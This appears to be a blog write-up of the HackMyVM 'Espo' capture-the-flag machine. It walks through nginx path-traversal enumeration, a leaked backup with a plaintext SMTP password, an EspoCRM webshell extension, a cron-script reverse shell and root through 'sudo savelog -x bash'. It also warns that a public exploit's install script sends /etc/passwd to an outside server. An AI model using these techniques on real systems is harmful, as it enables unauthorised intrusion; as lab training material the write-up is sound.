Espo - HackMyVM
Another interesting machine from cromiphi...
Writeup abridged to remove the several hour pause before making any progress!!!
Writeup abridged to remove the several hour pause before making any progress!!!
Discovery:
┌──(kali㉿kali)-[~/hmv/espo] └─$ sudo netdiscover -r 10.0.0.0/24 -i eth1 -P _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 10.0.0.1 08:00:27:c5:8d:93 1 60 PCS Systemtechnik GmbH 10.0.0.161 08:00:27:4f:55:18 1 60 PCS Systemtechnik GmbH -- Active scan completed, 2 Hosts found. ┌──(kali㉿kali)-[~/hmv/espo] └─$ sudo nmap -sC -sV -O -p- -oN nmap.out 10.0.0.161 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 05:21 EST Nmap scan report for 10.0.0.161 Host is up (0.0016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) | ssh-hostkey: | 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA) |_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519) 80/tcp open http nginx |_http-title: EspoCRM | http-robots.txt: 1 disallowed entry |_/ MAC Address: 08:00:27:4F:55:18 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.08 seconds
So appears to just have a ssh and port 80 exposed.
Enumeration:
┌──(kali㉿kali)-[~/hmv/espo] └─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -u http://10.0.0.161 -x php,txt -t 10 -o 80basic.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.161
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 2480]
/admin (Status: 200) [Size: 439]
/install (Status: 200) [Size: 2480]
/client (Status: 403) [Size: 146]
/api (Status: 403) [Size: 146]
/robots.txt (Status: 200) [Size: 26]
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================
looking at the site it can also be noted there appears to be a misconfiguration of the webserver.
admin../admin implies it is able to directory walk up a level so it may be possible to find other files and folders.
┌──(kali㉿kali)-[~/hmv/espo]
└─$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -r -u http://10.0.0.161/admin../ -x php,txt -t 10 -o 80admindot.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.161/admin../
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 200) [Size: 439]
/_oldsite (Status: 403) [Size: 146]
Progress: 67426 / 90003 (74.92%)[ERROR] parse "http://10.0.0.161/admin../besalu\t.php": net/url: invalid control character in URL
[ERROR] parse "http://10.0.0.161/admin../besalu\t.txt": net/url: invalid control character in URL
Progress: 71825 / 90003 (79.80%)[ERROR] parse "http://10.0.0.161/admin../error\x1f_log": net/url: invalid control character in URL
[ERROR] parse "http://10.0.0.161/admin../error\x1f_log.php": net/url: invalid control character in URL
[ERROR] parse "http://10.0.0.161/admin../error\x1f_log.txt": net/url: invalid control character in URL
Progress: 90000 / 90003 (100.00%)
===============================================================
Finished
===============================================================
Searching the _oldsite directory
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -u http://10.0.0.161/admin../_oldsite/ -x php,txt -t 10 -o 80admin.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.161/admin../_oldsite/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/info (Status: 200) [Size: 540]
Progress: 7060 / 661683 (1.07%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 7208 / 661683 (1.09%)
===============================================================
Finished
===============================================================
The info file tells us to look for a zip that is easily found by adding .zip to the extensions to seach!
┌──(kali㉿kali)-[~/hmv/espo]
└─$ curl http://10.0.0.161/admin../_oldsite/info
# Backup Configuration Settings
# This configuration file dictates the backup protocols for critical data storage.
# Directory for storing backup files
# All backup files are stored in compressed ZIP format for efficient space usage and security.
# Ensure that backups are regularly updated and verified for data integrity.
backup_directory: /admin/_oldsite
backup_format: zip
# Note: The backup directory is designated for ZIP file backups only.
# Regular maintenance and checks are required to ensure data consistency and reliability.
┌──(kali㉿kali)-[~/hmv/espo]
└─$ wget http://10.0.0.161/admin../_oldsite/backup.zip
--2024-03-08 05:48:17-- http://10.0.0.161/admin../_oldsite/backup.zip
Connecting to 10.0.0.161:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 37975754 (36M) [application/zip]
Saving to: ‘backup.zip’
backup.zip 100%[=============================================>] 36.22M 46.7MB/s in 0.8s
2024-03-08 05:48:18 (46.7 MB/s) - ‘backup.zip’ saved [37975754/37975754]
The backup zip can be extracted and inspected for any credentails.
┌──(kali㉿kali)-[~/hmv/espo/backup/data] └─$ cat config.php <?php return [ 'useCache' => true, 'jobMaxPortion' => 15, ... 'smtpUsername' => 'admin', 'smtpPassword' => '39Ue4kcVJ#YpaAV24CNmbWU', ...
this finally gets us credentials to logon to the portal !!!
RCE :
Logging onto the portal we can find the specific version and search for any known vulnerabilities and exploits:
There are a couple of vulnerabilities on this version and a link to an exploit on github.
*** WARNING ***
The zip file contains a before execution script to have the espo server post its /etc/passwd file to an unknown server on the internet!
So if your espo.hmv is not air gapped in its own subnet you will either want to expand the zip and edit the BeforeInstall.php to remove the curl command and add it back or just delete BeforeInstall.php from the zip with a zipmanager.
So if your espo.hmv is not air gapped in its own subnet you will either want to expand the zip and edit the BeforeInstall.php to remove the curl command and add it back or just delete BeforeInstall.php from the zip with a zipmanager.
Something to remember whenere you download anything!!!
*** End of warning and a big shout out to eriman & ll104567 for pointing it out ! ***
Cloning the repository and installing the extension from the Administration page:
Once installed the readme says to visit /webshell.php where we can execute any commands such as a reverse shell:
Stabilising the shell and looking around we can browe to /home/mandie and read files but cant write anything. There is a scripts to copy files from /var/shared_medias and we have permissions to create in that folder so that seems like a good place to start looking.
www-data@espo:~/html/public$ cd /home/mandie/
www-data@espo:/home/mandie$ ls
copyPics pictures user.txt videos
www-data@espo:/home/mandie$ touch /var/shared_medias/test
www-data@espo:/home/mandie$ ls
copyPics pictures test user.txt videos
www-data@espo:/home/mandie$
So there is a cron job running that we can exploit.
Copying a file ove an existing file will preserve the existing file permissions so copying the copyPics file to /var/shared_medias and editing it to add a reverse shell to the end of it seems like a good idea (and also means it will keep copying files if I get it wrong first time!!!). And after a couple of minutes we get a connection.
Copying a file ove an existing file will preserve the existing file permissions so copying the copyPics file to /var/shared_medias and editing it to add a reverse shell to the end of it seems like a good idea (and also means it will keep copying files if I get it wrong first time!!!). And after a couple of minutes we get a connection.
Escalate to root:
After stabilising the shell with the usual commands...
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
(ctrl+z)
stty raw -echo;fg
reset
mandie@espo:~$ sudo -l
sudo: unable to resolve host espo: Temporary failure in name resolution
Matching Defaults entries for mandie on espo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User mandie may run the following commands on espo:
(ALL : ALL) NOPASSWD: /usr/bin/savelog
mandie@espo:~$ savelog --help
Illegal option --
Usage: savelog [-m mode] [-u user] [-g group] [-t] [-c cycle] [-p]
[-j] [-C] [-d] [-l] [-r rolldir] [-n] [-q] file ...
-m mode - chmod log files to mode
-u user - chown log files to user
-g group - chgrp log files to group
-c cycle - save cycle versions of the logfile (default: 7)
-r rolldir - use rolldir instead of . to roll files
-C - force cleanup of cycled logfiles
-d - use standard date for rolling
-D - override date format for -d
-t - touch file
-l - don't compress any log files (default: compress)
-p - preserve mode/user/group of original file
-j - use bzip2 instead of gzip
-J - use xz instead of gzip
-1 .. -9 - compression strength or memory usage (default: 9, except for xz)
-x script - invoke script with rotated log file in $FILE
-n - do not rotate empty files
-q - suppress rotation message
file - log file names
mandie@espo:~$
[ So --help was the wrong argument.. but task failed successfully ! ]
if the savelog command allows a script to be run, lets see what happens if we use bash.
if the savelog command allows a script to be run, lets see what happens if we use bash.
mandie@espo:~$ sudo savelog -x bash /var/log/nginx/access.log
sudo: unable to resolve host espo: Temporary failure in name resolution
root@espo:/home/mandie#
Thats it... rooted.
Comments
Post a Comment